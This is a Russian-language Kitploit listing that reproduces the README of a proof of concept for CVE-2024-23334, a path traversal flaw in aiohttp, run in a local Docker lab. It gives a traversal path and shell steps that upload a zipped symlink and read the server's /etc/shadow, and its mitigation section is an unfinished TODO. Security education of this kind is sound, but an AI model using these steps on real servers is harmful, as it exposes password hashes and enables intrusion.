Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
poc-cve-2024-23334 — Этот репозиторий содержит доказательство концепции по эксплуатации библиотеки aiohttp для зарегистрированной уязвимости CVE-2024-23334. | Kitploit
Инструменты/GitHubGitHub/brian-edgar-re/poc-cve-2024-23334
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubbrian-edgar-re/poc-cve-2024-23334

poc-cve-2024-23334

Этот репозиторий содержит доказательство концепции по эксплуатации библиотеки aiohttp для зарегистрированной уязвимости CVE-2024-23334.

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

poc-cve-2024-23334

Этот репозиторий содержит proof of concept по эксплуатации библиотеки aiohttp для зарегистрированной уязвимости CVE-2024-23334.

Он создан по двум причинам:

  1. Образовательные цели: для тех, кто начинает изучать безопасность приложений, будет полезно увидеть шаги по воспроизведению уязвимости, а также понять концепции, лежащие в её основе.
  2. Шаги по устранению: обмен мерами по смягчению последствий для исправления проблемы.

Для получения дополнительной информации посетите мой сайт: https://brianre.dev/

Требования

  • Установить Docker
  • Установить Python3

Как запустить проект локально

  1. Клонируйте этот репозиторий локально.
  2. Выполните следующую команду для сборки образа:
make build
  1. Выполните следующую команду для запуска контейнера:
make run

Если вы хотите запустить docker в откреплённом режиме, просто выполните:

make rund

Сценарии

  1. Выполнить запрос с изменённым URL для обхода пути и эксплуатации уязвимости Local File Inclusion (LFI): Чтобы воспроизвести эксплуатацию, запустите следующий скрипт:
python3 exploits/exploit_path_traversal.py

При выполнении скрипта мы отправляем RAW HTTP-запрос на сервер. Мы делаем это именно так, а не с помощью curl или прямого доступа в браузере, потому что эти инструменты включают санитизацию и нормализацию URL перед отправкой HTTP-запроса. Это включает нормализацию пути: инструменты вроде curl и браузеры обрабатывают URL-путь, удаляя последовательности вроде .., которые используются для обхода каталогов. Поэтому путь вроде /static/../../../../../../../../../../../../etc/shadow будет нормализован до /etc/shadow, и, поскольку такой путь обычно не существует как ресурс на стандартном веб-сервере, это приводит к ошибке 404.

  1. Уже создана символическая ссылка на ограниченный файл, например /etc/shadow. Этот сценарий наименее вероятен, но возможно, кто-то внутри компании может утечь информацию, используя это, и люди могут не проверять логи статики. А если доступ к статическим файлам не логируется, то очень сложно определить, когда произошла утечка.

Сценарий, созданный в этом репозитории, предназначен только для объяснения уязвимости и доказательства того, что она существует и всё ещё может быть использована.

  1. Кто-то может загрузить символическую ссылку на сервер и использовать её. Это более реальный сценарий: я загружаю символическую ссылку, созданную на своём компьютере, а затем обращаюсь к этому файлу, чтобы получить такой файл, как /etc/shadow.

Способ выполнения этого — с помощью сжатого файла, чтобы мы могли загрузить символическую ссылку, и при распаковке на сервере она генерирует ту же символическую ссылку. Загрузка символической ссылки напрямую через curl как файла link.jpeg приведёт к чтению локального файла, на который указывает символическая ссылка, и загрузке исходного файла вместо неё. Поэтому, если мы хотим указать на конкретный путь файловой системы сервера, мы должны иметь возможность загрузить сжатый файл, например .zip или .tar.gz.

Чтобы воспроизвести этот второй сценарий, выполните следующие шаги:

touch /etc/shadow   # Создаёт файл на вашей машине в указанном каталоге. Убедитесь, что не заменяете существующий файл.
ln -s /etc/shadow exploit.jpeg  # Создаёт символическую ссылку на файл /etc/shadow и называет её exploit.jpeg
zip -y images.zip exploit.jpeg  # Упаковывает символическую ссылку в zip
curl -X POST -F "[email protected]" http://localhost:8080/upload # Загружает zip-файл
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg    # Обращается к символической ссылке, и, поскольку aiohttp содержит уязвимость, возвращается /etc/shadow с сервера.

Меры по устранению

TODO

Разработка

Чтобы настроить проект локально для разработки, вам необходимо:

  1. Создать виртуальное окружение.
python3 -m venv env
  1. Установить зависимости.
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt

Ресурсы

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23334
  • https://nvd.nist.gov/vuln/detail/CVE-2024-23334
Скачать инструмент